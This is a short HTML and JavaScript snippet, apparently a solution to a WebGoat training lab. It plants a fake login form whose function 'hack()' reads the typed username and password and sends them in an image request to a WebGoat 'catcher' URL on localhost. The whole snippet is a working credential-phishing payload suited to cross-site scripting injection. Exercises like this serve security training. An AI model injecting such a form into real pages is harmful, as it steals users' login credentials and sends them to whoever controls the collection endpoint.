<br>
<form>
    <br>User
    <br><input type="text" name="user" id='user'>
    <br>Password
    <br><input type="password" name="pass" id='password'>
    <br><input type="button" onclick="hack()" value="Login">
</form>
<script>
    function hack(){
        var user = document.getElementById('user').value;
        var password = document.getElementById('password').value;
        image = new Image;
        image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes"+"&user="+user+"&pass="+password;
        console.log(image.src);
        alert(user + " " + password);
    }
</script>